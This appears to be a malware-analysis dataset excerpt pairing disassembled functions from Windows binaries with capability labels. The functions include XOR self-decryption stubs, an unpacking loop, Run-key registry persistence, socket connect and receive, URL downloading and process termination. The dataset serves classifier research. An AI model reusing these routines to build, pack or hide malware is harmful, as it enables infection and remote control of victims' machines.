joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405d6b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a0c], 0
push esi
jne 0x405da2
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405d7c
mov dword [ecx*4 + 0x422a08], eax
inc ecx
cmp ecx, 0x100
jl 0x405d77
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405dd3
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a08]
xor eax, esi
inc ecx
dec edx
jne 0x405db5
pop edi
not eax
pop esi
ret 0xc

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
mov ecx, 0x600548d2
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x114a1d25
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x50ce50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.QNhjSkbP
lea edi, [esi - 0x9000]
push edi
or ebp, 0xffffffff
jmp 0x50ce72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50ce79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50ce68
mov eax, 1
add ebx, ebx
jne 0x50ce8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50ce80
jne 0x50ce9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50ce80
xor ecx, ecx
sub eax, 3
jb 0x50ceb0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50cf22
mov ebp, eax
add ebx, ebx
jne 0x50cebb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x50cec8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x50ceec
inc ecx
add ebx, ebx
jne 0x50ced8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50cecd
jne 0x50cee9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50cecd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50cf0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50cefd
jmp 0x50ce6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50cf0c
add edi, ecx
jmp 0x50ce6e
pop esi
lea edi, [esi + 0xa000]
mov eax, dword [edi]
or eax, eax
je 0x50cf6b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xeacc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xeb24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50cf29
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xeb2c]
or eax, eax
je 0x50cf65
mov dword [ebx], eax
add ebx, 4
jmp 0x50cf46
call dword [esi + 0xeb28]
mov ebp, dword [esi + 0xeb30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50cf9f
sub esp, 0xffffff80
jmp section.bUItIFMf

Function at 0x805e88
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x805e8e
pop ebp
sub ebp, 6
sub ebp, 0x405e88
jmp 0x805eec
jmp 0x805ef5
mov eax, 0x405e88
add eax, ebp
add eax, 0x93
mov ecx, 0x61b
mov edx, 0x45796b9f
xor byte [eax], dl
inc eax
dec ecx
jne 0x805f0c
jmp 0x805f1f
cmc
fcompi st(7)
lahf
invalid
Function at 0x8e113c
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8e1142
pop ebp
sub ebp, 6
sub ebp, 0x4e113c
jmp 0x8e11a0
jmp 0x8e11a9
mov eax, 0x4e113c
add eax, ebp
add eax, 0x93
mov ecx, 0x638
mov edx, 0xe0dd18d0
xor byte [eax], dl
inc eax
dec ecx
jne 0x8e11c0
jmp 0x8e11d3
mov edx, 0xc0d0b890
rcl al, 1
mov eax, 0xd0fc1cd0
jecxz 0x8e11f1
sub byte [edi], 0x45
in al, dx
adc dword [eax + edx*8 + 0x5b1d5b80], 0xd0d0ec59
rcl byte [ecx + 0x11]
sub al, dl
rcl al, 1
rcr dword [0xd0d0d668], cl
push ecx
adc dword [eax], ebp
rcl al, 1
rcl bl, 1
sbb eax, 0xd0d0d668
shr byte [edx - 8], 1
rcl al, 1
shl byte [edi], 1
xor dl, bl
sbb byte [ebx + 0x51], bl
invalid
Function at 0x47f9f1
Capabilities:
Hash data with md5

Disassembly:
push 8
lea eax, [esi + 0x44]
push 0
push eax
call 0x483111
add esp, 0xc
mov dword [esi + 0x34], 0x67452301
mov dword [esi + 0x38], 0xefcdab89
mov dword [esi + 0x3c], 0x98badcfe
mov dword [esi + 0x40], 0x10325476
ret
Function at 0x4010ff
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ecx + 4]
push edi
lea esi, [ebp + 8]
mov edi, eax
push 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push dword [ecx]
movsd dword es:[edi], dword [esi]
call sub.WS2_32.dll_connect
pop edi
pop esi
test eax, eax
jne 0x401124
mov al, 1
jmp 0x40112b
call sub.WS2_32.dll_WSAGetLastError
xor al, al
pop ebp
ret 0x10

Function at 0x401182
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [ecx + 0x14], eax
xor eax, eax
push eax
push eax
push ecx
push 0x4011a1
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop ebp
ret 4
Function at 0x4011b3
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
mov esi, ecx
lea eax, [ebp - 1]
push edi
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
lea eax, [ebp - 1]
lea ecx, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
and dword [esi + 0x2c], 0
push dword [esi + 0x30]
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov ebx, eax
push 0
push dword [esi + 0x30]
push ebx
push dword [esi]
call sub.WS2_32.dll_recv
mov edi, eax
test edi, edi
jle 0x401244
lea eax, [ebp - 1]
lea ecx, [ebp - 0x34]
push eax
push edi
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int__class_std::allocator_char__const__]
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x14]
push eax
call dword [0x40b290]
sub dword [esi + 0x2c], edi
cmp dword [esi + 0x2c], 0
jg 0x401244
push dword [ebp + 0xc]
lea eax, [ebp - 0x14]
mov ecx, esi
push dword [ebp + 8]
push eax
call fcn.00401281
push ebx
call dword [sym.imp.MSVCRT.dll_free]
test edi, edi
pop ecx
jg 0x4011dc
mov ecx, esi
call fcn.0040127d
test al, al
je 0x401264
push 1
mov ecx, esi
call fcn.00401730
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40158e
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push esi
push 6
push 1
push 0
call sub.WS2_32.dll_socket
mov esi, eax
push 0x10
push 0x40f168
push esi
call sub.WS2_32.dll_connect
test eax, eax
jne 0x4015ce
push esi
lea eax, [ebp + 8]
sub esp, 0x10
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.004014a3
add esp, 0x14
cmp byte [ebp + 0x18], 0
je 0x4015d7
push esi
call sub.WS2_32.dll_closesocket
or esi, 0xffffffff
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, esi
pop esi
pop ebp
ret

Function at 0x4015e5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp byte [esi + 0x34], bl
jne 0x401689
cmp byte [0x40f768], bl
push edi
mov edi, dword [ebp + 8]
je 0x40166d
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx eax, word [ebp - 2]
push edi
push eax
movzx eax, word [ebp - 4]
push eax
lea ecx, [ebp - 0x30]
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
lea eax, [ebp + 0xb]
push str.Enabled___Timeout:__i_seconds__n
push eax
push str._02i:_02i:_02i:_03i__KeepAlive_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x20]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0x18
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push ebx
push ebx
push esi
push 0x4017c2
push ebx
push ebx
mov byte [esi + 0x34], 1
mov dword [esi + 0x38], edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov al, 1
pop edi
jmp 0x40168b
xor al, al
pop esi
pop ebx
leave
ret 4
Function at 0x40227a
Capabilities:
Terminate thread

Disassembly:
mov eax, 0x40abb4
call sub.MSVCRT.dll__EH_prolog
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
and dword [ebp - 4], 0
xor edi, edi
mov dword [ebp - 0x14], edi
mov esi, 0x40f588
mov ecx, esi
call fcn.0040235d
cmp edi, eax
jae 0x4022fa
push edi
mov ecx, esi
call fcn.00402373
mov eax, dword [eax]
cmp eax, dword [ebp + 8]
jne 0x4022ee
push edi
mov ecx, esi
call fcn.00402373
mov eax, dword [eax + 8]
push dword [eax]
call sub.WS2_32.dll_closesocket
push 0
push edi
mov ecx, esi
call fcn.00402373
push dword [eax + 4]
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov ecx, esi
call fcn.00402af0
lea ecx, [edi + edi*2]
lea eax, [eax + ecx*4]
push eax
mov ecx, esi
call fcn.004023a0
inc edi
mov dword [ebp - 0x14], edi
jmp 0x40229a
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402c50
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp byte [ebp + 8], 1
push esi
jne 0x402ca4
push 1
mov eax, 0x40b5c8
sub esp, 0x10
mov esi, esp
push eax
push 0x40f600
push eax
lea eax, [ebp - 0x10]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
push esi
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
push dword [ebp + 0x1c]
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push connect
call fcn.00404b45
add esp, 0x20
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop esi
leave
ret
Function at 0x404a5c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
lea eax, [ebp + 0xc]
mov dword [ebp - 4], 0x400
push eax
push 0x20019
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404ab8
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x404]
push eax
push 0
push 0
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x13]
push eax
lea eax, [ebp - 0x404]
push eax
jmp 0x404ac1
lea eax, [ebp + 0x13]
push eax
push 0x40b448
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov eax, dword [ebp + 8]
leave
ret

Function at 0x404acf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
lea eax, [ebp + 0xc]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404b41
lea eax, [ebp + 0x18]
push edi
push eax
push dword [ebp + 0x14]
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x404b41
push dword [ebp + 0x20]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0x1c]
call fcn.0040188a
push dword [ebp + 0x18]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0x14]
call fcn.0040192d
mov al, 1
leave
ret
xor al, al
leave
ret

Function at 0x404b45
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x404ba4
push ebx
push esi
lea ecx, [ebp + 0x14]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
lea ecx, [ebp + 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
xor ebx, ebx
push dword [ebp + 0x24]
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
jne 0x404b95
mov bl, 1
lea ecx, [ebp + 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop esi
pop ebx
pop ebp
ret
lea ecx, [ebp + 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
pop ebp
ret
Function at 0x404bb1
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x404bf2
push esi
lea eax, [ebp + 0x14]
push 4
push eax
push 4
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
pop esi
pop ebp
ret
xor al, al
pop ebp
ret

Function at 0x404bf6
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x404c37
push esi
lea eax, [ebp + 0x14]
push 8
push eax
push 0xb
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
pop esi
pop ebp
ret
xor al, al
pop ebp
ret

Function at 0x404c9e
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push 2
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x404cbd
xor al, al
pop ebp
ret
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
neg eax
sbb al, al
inc al
pop ebp
ret
Function at 0x407f09
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push 0x407e1f
call dword [sym.imp.USER32.dll_EnumWindows]
sub esp, 0x10
lea eax, [ebp - 0x10]
mov esi, esp
push 0x40f8a8
push 0x40f158
push str.windowslist
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
push esi
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
mov ecx, 0x40f8b8
call fcn.0040112f
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0x40b448
mov ecx, 0x40f8a8
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
pop esi
leave
ret
Function at 0x409502
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x10
push eax
lea eax, [ebp - 0x4c]
push eax
push 1
call dword [0x40fa20]
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x100
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x24c]
lea ecx, [ebp - 0x2c]
push eax
lea eax, [ebp - 1]
push eax
push 0x40be64
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x1c]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_unsigned_short_int_const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
push eax
push dword [ebp + 8]
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
lea ecx, [ebp - 0x1c]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
mov eax, dword [ebp + 8]
leave
ret
Function at 0x4095cd
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x271c
call fcn.0040a8b0
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
and byte [ebp + 0x13], 0
xor esi, esi
push esi
push esi
push esi
push 1
mov dword [eax], esi
push str.user
mov dword [ebx], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
push connect
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov dword [ebp - 4], eax
je 0x4096c3
push edi
mov dword [ebp + 0x10], esi
mov dword [ebp + 8], esi
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x271c]
push 0x2710
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x409645
cmp dword [ebp + 0x10], esi
jbe 0x40969c
mov eax, dword [ebx]
add eax, dword [ebp + 0x10]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebx]
mov esi, dword [ebp + 8]
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov dword [ebp - 8], eax
and ecx, 3
push dword [ebp + 8]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebx]
mov ecx, dword [ebp + 0x10]
add edi, eax
mov eax, ecx
lea esi, [ebp - 0x271c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 8]
pop ecx
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0x10]
add dword [ebx], eax
pop ecx
xor esi, esi
jmp 0x409623
push dword [ebx]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov edi, eax
mov dword [ecx], eax
mov ecx, dword [ebx]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + 0x13], 1
pop edi
push dword [ebp - 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
mov al, byte [ebp + 0x13]
pop esi
pop ebx
leave
ret
Function at 0x409b5a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret